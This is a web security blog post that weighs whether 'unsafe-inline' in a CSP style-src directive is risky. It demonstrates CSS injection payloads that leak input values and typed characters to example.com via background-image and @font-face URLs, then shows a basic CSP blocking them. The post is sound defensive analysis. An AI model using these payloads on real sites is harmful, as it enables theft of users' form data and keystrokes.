I recently started to consider changing the grading criteria on Security Headers which isn't something that happens very often. I wanted to make a change that would result in more sites achieving the highest possible grade of A+ and involved removing the penalty for use of 'unsafe-inline' in the style-src directive. To fully appreciate the impact of the change, I reached out to the community and did a little research myself to see what the risks of inline styles might be.


Content Security Policy

For regular readers, CSP will need no introduction, and for everyone else, there are details in the linked blog post. The same goes for Security Headers, my free HTTP response header analysis tool which you can visit and try out at the link right there.

For the longest of times, to get an A+ grade on Security Headers, not only did you need to use a CSP, but you had to use a CSP without unsafe-inline anywhere in the policy. Because of this incredibly strict requirement, not even my own sites score an A+ grade!

https://securityheaders.com/?q=scotthelme.co.uk&followRedirects=on

https://securityheaders.com/?q=report-uri.com&followRedirects=on

https://securityheaders.com/?q=securityheaders.com&followRedirects=on

I like to consider myself as being reasonably OK at security and think that I've taken more than reasonable measures to protect my sites and my visitors, yet I still don't get the A+ grade.

Those pesky styles...

The reason that none of my sites, and countless others, don't get an A+ is because they contain 'unsafe-inline' in the style-src directive. You can see this warning present on any of my scan results pages linked above and this is all it takes to drop my grade from an A+ to an A.

When using 'unsafe-inline' in your style-src, it means that an attacker, upon finding the ability to inject arbitrary HTML into the application, could inject a style tag that would not be blocked by the CSP.

<style>
  p {color: limegreen;}
</style>

Whilst this would have the rather unfortunate effect of making the text on my site turn a horrid colour, it wouldn't cause any other damage. The real question is: "Can CSS cause serious damage?"

Getting pwned with CSS

I've not come across much research in this space, but there is certainly some out there[1][2][3]. Some of it harks back to the day when the XSS Auditor was our main lines of defence and some of it is written within the context of CSP existing. My goal here is to summarise what I've always thought of as the main and only risk, data exfiltration, and explore the demos presented in other research to see if they're still viable and how much of a threat they pose.

Data Exfiltration

By far the most commonly described attack that I've come across using CSS is to exfiltrate data from the page. The attack itself is quite simple and can be easily demonstrated with the following, simple, PoC. The inline style tag is injected by an attacker and the input tag is a genuine tag placed by the application.

<html>
  <style>
    input[value="a"] { background: url(https://example.com/?value=a); }
  </style>
<input type=text value=a>

The attacker injected style tag is looking for any input on the page with a value of a and if one is found, the background image will be loaded from the URL. The URL for the image contains the value of the input as a GET parameter and thus the data is exfiltrated. You can confirm by checking the network tab to see the request being made.

The match is only evaluated when the page loads and if the value of the input ends up matching at some point later, for example if the input starts empty and the user enters text, it does not trigger the request. This means that upon the page loading, the input already has to contain the target value for this attack to work. This is exfiltration of a pre-existing value, and not a keylogger. The attacker would also need to inject a value match for any possible string they'd like to exfiltrate, making this even more difficult. If you were trying to exfiltrate the value of a 4-digit PIN field for example, it might look something like this.

<html>
  <style>
    input[value="0000"] { background: url(https://example.com/?value=0000); }
    input[value="0001"] { background: url(https://example.com/?value=0001); }
    ...
    input[value="9998"] { background: url(https://example.com/?value=9998); }
    input[value="9999"] { background: url(https://example.com/?value=9999); }
  </style>
<input name=pin type=number value=1337>

When the page loads and the field is pre-populated with your PIN, the value would be exfiltrated and sent to the attacker. There are many variations of attacks like this presented in the links above, but they all build on the same principle. All of these attacks can also be mitigated with a very simple CSP.

<?php
  header("content-security-policy: default-src 'self' 'unsafe-inline'");
?>
<html>
  <style>
    input[value="a"] { background: url(https://example.com/?value=a); }
  </style>

  <input type=text value=a></input>

Even with this incredibly basic CSP that still allows 'unsafe-inline' in the style-src, by nature of the fall back to default-src, the request to exfiltrate the data is still blocked.

If we look more closely at the error message in the console, we can see why.

Refused to load the image 'https://example.com/?value=a' because it violates the following Content Security Policy directive: "default-src 'self' 'unsafe-inline'". Note that 'img-src' was not explicitly set, so 'default-src' is used as a fallback.

The background image is required to be allowed in the img-src directive and it isn't. The attacker would either need to have their external domain allowed in img-src or default-src for this attack to work. If you don't want to be constrained by the img-src though, there are other similar options available like this one.

CSS Keylogger

This is closer to a keylogger than the previous example but still not a fully-fledged keylogger. I adapted the example given here.

<html>
  <style>
    @font-face { font-family: x; src: url(https://example.com/?value=a), local(Impact); unicode-range: U+61; }
    @font-face { font-family: x; src: url(https://example.com/?value=b), local(Impact); unicode-range: U+62; }
    @font-face { font-family: x; src: url(https://example.com/?value=c), local(Impact); unicode-range: U+63; }
    @font-face { font-family: x; src: url(https://example.com/?value=d), local(Impact); unicode-range: U+64; }
    input { font-family: x, 'Comic sans ms'; }
  </style>

  <input type=text>

As you can see, upon typing the characters 'a', 'b', 'c' or 'd' into the input, I get a corresponding network request to exfiltrate the character.

This keylogger is slightly limited though because it cannot catch repeat occurrences of the same character, meaning some data would potentially be missing, but it's going to get you very close. You can also ignore the CORS errors because they're not stopping the request being sent and the data is still exfiltrated. This is pretty cool and something like this could be seen to do a lot more harm than the example above, but it is also easily mitigated with a CSP.

<?php
  header("content-security-policy: default-src 'self' 'unsafe-inline'");
?>
<html>
  <style>
    @font-face { font-family: x; src: url(https://example.com/?value=a), local(Impact); unicode-range: U+61; }
    @font-face { font-family: x; src: url(https://example.com/?value=b), local(Impact); unicode-range: U+62; }
    @font-face { font-family: x; src: url(https://example.com/?value=c), local(Impact); unicode-range: U+63; }
    @font-face { font-family: x; src: url(https://example.com/?value=d), local(Impact); unicode-range: U+64; }
    input { font-family: x, 'Comic sans ms'; }
  </style>

  <input type=text>

Upon loading the page now, we are immediately met with a bunch of console errors letting us know that those fonts are blocked.

Refused to load the font 'https://example.com/?value=a' because it violates the following Content Security Policy directive: "default-src 'self' 'unsafe-inline'". Note that 'font-src' was not explicitly set, so 'default-src' is used as a fallback.

Again, a basic CSP is going to save you from the possible harm caused by inline CSS.

Can CSS be dangerous?

Based on my own experience, I've never seen an attack that leveraged the injection of CSS to cause harm. I've lost count of how many attacks I've seen that used injected JS, but that's not the focus here. If you know of any examples of CSS being used in a hostile way, and can provide either a comment, link or PoC to show something, that would be greatly appreciated. As it stands right now, it seems like the minimal risks of 'unsafe-inline' in the style-src can easily be mitigated in a simple CSP and that's leaning me towards relaxing this requirement for Security Headers. I am currently running a poll on Twitter and I invite your vote there and comments can be left either here or on the Twitter thread if you have something to add!


One of the main drivers for the grading change is simply how hard it is to get rid of 'unsafe-inline' in the style-src, and, how little value it seems you'd get from actually doing it. With popular frameworks like Angular requiring 'unsafe-inline' in the style-src, it may even be something that's totally out of your control. I'm not aiming for the Security Headers A+ grade to be 'the absolute best that can possibly be achieved ever', because nobody would ever achieve it. Instead, I'd rather think of the A+ as the best that a site can reasonably achieve, and I think that also supports the idea of removing the penalty for 'unsafe-inline' in the style-src directive.